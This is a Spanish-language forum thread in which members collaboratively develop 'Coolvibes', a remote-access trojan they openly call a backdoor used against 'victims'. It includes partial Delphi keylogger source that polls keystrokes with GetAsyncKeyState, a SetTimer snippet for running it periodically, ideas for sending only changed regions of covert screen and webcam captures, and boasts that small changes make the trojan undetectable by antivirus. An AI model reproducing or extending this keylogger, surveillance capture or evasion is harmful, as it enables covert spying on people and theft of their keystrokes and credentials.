Mostrar mensajes previos
Ordenar por
por Pablete
Hoy Buscando un programa que habia hecho hace tiempo encontre esto... va en realidad un timer con su respectivo codigo pero intente adaptarlo al "modo consola" y llegue hasta aca! ya que no tengo mucha idea de esta forma de trabajar... busk algo de info sobre settimer y killtimer para simular un timer pero no logro hacerlo funcionar... lo dejo aca para que otro si sabe sobre este tema y que tenga tiempo lo adapte... solo una colaboracion para este grandisimo programa... espero que sirva para algo...

Código: Seleccionar todo

Function keylogger(Terminar : boolean): string;
var
letra:string;
i:integer;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
VK_RETURN:letra:= '[Enter]';
8:letra:= '[Undo]';
9:letra:= '[Tab]';
20:letra:= '[Espacio]';
27:letra:= '[Esc]';
32:letra:= '[Espacio]';
33:letra:= '[RePag]';
34:letra:= '[AvPag]';
35:letra:= '[Fin]';
36:letra:= '[Inicio]';
44:letra:= '[ImpPant]';
45:letra:= '[Insert]';
46:letra:= '[Supr]';
48:letra:= '0';
49:letra:= '1';
50:letra:= '2';
51:letra:= '3';
52:letra:= '4';
53:letra:= '5';
54:letra:= '6';
55:letra:= '7';
56:letra:= '8';
57:letra:= '9';
190: letra:= '.';
65..90: // a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
letra:= LowerCase(Chr(i))
else
letra:= UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
letra:= UpperCase(Chr(i))
else
Ocurre este problema cuando intento postear la otra parte del codigo Helpp !!

Forbidden
You don't have permission to access /foro/posting.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Última edición por Pablete el 19 Ene 2007, 18:18, editado 2 veces en total.
por Unknown Sin sí­ntomas
Pablete escribió:Hoy Buscando un programa que habia hecho hace tiempo encontre esto... va en realidad un timer con su respectivo codigo pero intente adaptarlo al "modo consola" y llegue hasta aca! ya que no tengo mucha idea de esta forma de trabajar... busk algo de info sobre settimer y killtimer para simular un timer pero no logro hacerlo funcionar... lo dejo aca para que otro si sabe sobre este tema y que tenga tiempo lo adapte... solo una colaboracion para este grandisimo programa... espero que sirva para algo...
Hola, set timer es muy sencillo:

Código: Seleccionar todo

procedure StartTimer(Interval:DWORD);
begin
 TimerHandle:=SetTimer(0,1,Interval,@keyLogger);
end;

var TimerHandle : THandle;
begin

   StartTimer(1000);

end;
En este caso el procedimiento keyLogger no debe recibir parámetros, si los necesitas puedes crear variables globales. a StartTimer debes enviarle el intérvalo en milisegundos.

Saludos,
Unknown.
por wack-a-mole
Creo que ya sé cómo enviar únicamente lo cambiado a la hora de hacer capturas de pantalla/webcam.
Tengo que terminarlo de probar para publicarlo.
Para mostrar cómo lo hago me hice un programita de prueba ([Enlace externo eliminado para invitados] ... enTest.rar), está en inglés pero basta con hundir los botones en el orden señalado para que se entienda la idea básica.

Cómo se puede ver, lo que hace es que compara 2 imágenes, y los pixeles que son iguales los reemplaza por pixeles negros (Algo así como Imagen1 XOR Imagen2). Y al comprimir la imagen "XOReada" queda muy pequeña porque queda con grandes áreas de un mismo color (Ver el programa para entenderlo mejor). Todo ésto lo hace la función BitBlt con el parámetro SCRINVERT.

Idea principal sacada de: [Enlace externo eliminado para invitados]

Tan pronto puedo se lo agrego al Coolvibes.
por Thor Se medica
Que buena pinta tiene eso de hacer XOR a las capturas y enviar solo los cambios (bueno mas el fondo en negro). Yo pensé como hacer eso y llegue a la conclusión de que tendría que agrupar las zonas que han cambiado con rectangulos y enviar estas zonas especificando sus coordenandas ...buff algo muy costoso. Este método es simple y eficaz.

Por cierto veo que con png se mejora la reducción de tamaño. Jpg es mejor para fotos, con muchos colores y muchos cambios. Pero png es excelente para capturar el escritorio por ejemplo donde muchas zonas son de un mismo color. Ademas de no perder nada de calidad en png.

Espero con ansias los resultados
Saludos.
por DSR! Benevolent dictator for life
tambien le faltaria la opcion de ke valla guardando los screen con un prefix como en el poison.

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
por j4v
Parece que el Coolvibes ahora esta a disposicion de todo el mundo:

[Enlace externo eliminado para invitados]
por abnx777
hola a todos los del staff weno estoy siguiendo este projecto ... y les felicito a todos los participantes.
aun asi aprendiendo este lenguaje (delphi)...
quisiera aportar con este grano de arena ... si se le pudiera llamar un upddate mas ,ps aqui lo subo

------------------------------------------------------------------------------
[+]Corregido el Bug Cuando se usa la opcion desinstalar y el control queda abierto (ahora se cierra)
[+]agregado la opcion de que cuando se desconecta algun server que notifique tipo globo emergente
--------------------------------------------------------------------------------
Capturas
Imagen

Imagen
Imagen



Link
[Enlace externo eliminado para invitados]
no me acuerdo de que pagina lo saque este codigo pero le he insertado al coolvibes ...

un saludo para abel(abelix) quien es el que lo testea xD ... y para todos de este foro gracias a ustedes estoy aprendiendo mas de lo que me imaginaba ....

p.d : poco a poco se llega lejos
.......nadie nace sabio
por HypNosS Sin sí­ntomas
Muy elegante ;)
Muchas gracias por este update y me alegra muchisimo que se una nueva sangre a este proyecto, ojala vengan muchos mas.
Por ahi estaba pensando, lo bien que queda la notificacion de globo emergente, tal vez se pueda unificar para la conexion y desconexion... La colorida notificacion MSN Style en algunas maquinas (no se a que es debido, tal vez poco video) donde corri el cliente se tilda un poco por momentos.
por karman Sin sí­ntomas
ya esta incluido el keylogger?
por HypNosS Sin sí­ntomas
karman escribió:ya esta incluido el keylogger?
No
por Thor Se medica
Muy bueno abnx777, en cuanto me libere de los odiosos examenes lo revisaré.
Me parece buena idea que tanto la notificación de conexión como de desconexión uses esto último que ha añadido abnx777.
Saludos.
por SevenDeath Sin sí­ntomas
Interesante aplicacion, es algo muy necesario el saber cuando se desconecta cada usuario/victima! ..

Se agradece ese cambio.

Esta gran puertaTrasera se ta volviendo famosa !

Ah por cierto mas AV lo estan detectando !

pero con unos pocos cambios queda indectectable
Imagen
por j4v
SevenDeath escribió: Ah por cierto mas AV lo estan detectando !

pero con unos pocos cambios queda indectectable
me gustaria saber como lo haces indetectable?
por LOSTIKO Sin sí­ntomas
Alguien sabe cuantas conecciones puede manejar le CVS?

Safe Thread??

Gracias.
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]

Prefiero una tumba en mi pais...Que una celda en el extrangero... P.E.G
--R.I.P-- "PaTrOn"
por wack-a-mole
El Coolvibes no tiene tope máximo para conexiones. Lo qué no sabría decir es cuantas es capaz de soportar correctamente, sin embrutecer el PC donde corre el cliente... Yo sólo lo he llegado a probar con unas 10 conexiones y funciona a la perfección, alguien ha probado con más?
Temas similares
Coolvibes Rat 1.15 por DSR! en Troyanos y Herramientas
Windows update en W10 por TITAN en Dudas y Preguntas
Variantes de tema
Cerrado

Volver a “Desarrollo CoolvibesRAT”